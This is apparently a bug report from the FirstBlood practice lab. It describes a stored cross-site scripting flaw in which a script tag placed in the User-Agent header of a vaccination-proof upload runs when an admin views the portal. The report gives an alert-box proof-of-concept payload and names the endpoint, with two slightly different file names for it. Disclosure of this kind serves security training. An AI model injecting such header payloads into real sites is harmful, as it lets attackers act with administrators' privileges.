FirstBlood-#700Stored XSS on /vaccination-manager/portal.php
This issue was discovered on FirstBlood v2



On 2021-10-27, 0x1452 Level 3 reported:

Hey!

I found a stored XSS on the /vaccination-manager/portal.php endpoint. This is caused by the unsanitized User Agent that is reflected on the page.

To replicate this, submit any proof of vaccination via POST /vaccination-manager/pub/upload-vaccination-proof.php but edit your User-Agent to <script>alert(document.domain)</script>. Then visit the vaccination manager portal.

Example request:

Impact

An attacker can use this to cause XSS when an admin visits the vaccination manager portal. While the vaccination_manager cookie can't be stolen because it's HttpOnly, the attacker can still use this to perform any action the victim is authorized to.

Endpoint: /vaccination-manager/pub/submit-vaccination-proof.php

Parameter: User-Agent header

Payload: <script>alert(document.domain)</script>


FirstBlood ID: 29
Vulnerability Type: Stored XSS

When uploading a vaccine proof it is possible to achieve stored XSS against admins set via the user agent. As this value typically can't be user controlled the developers did not think it was 'worth' preventing against XSS.
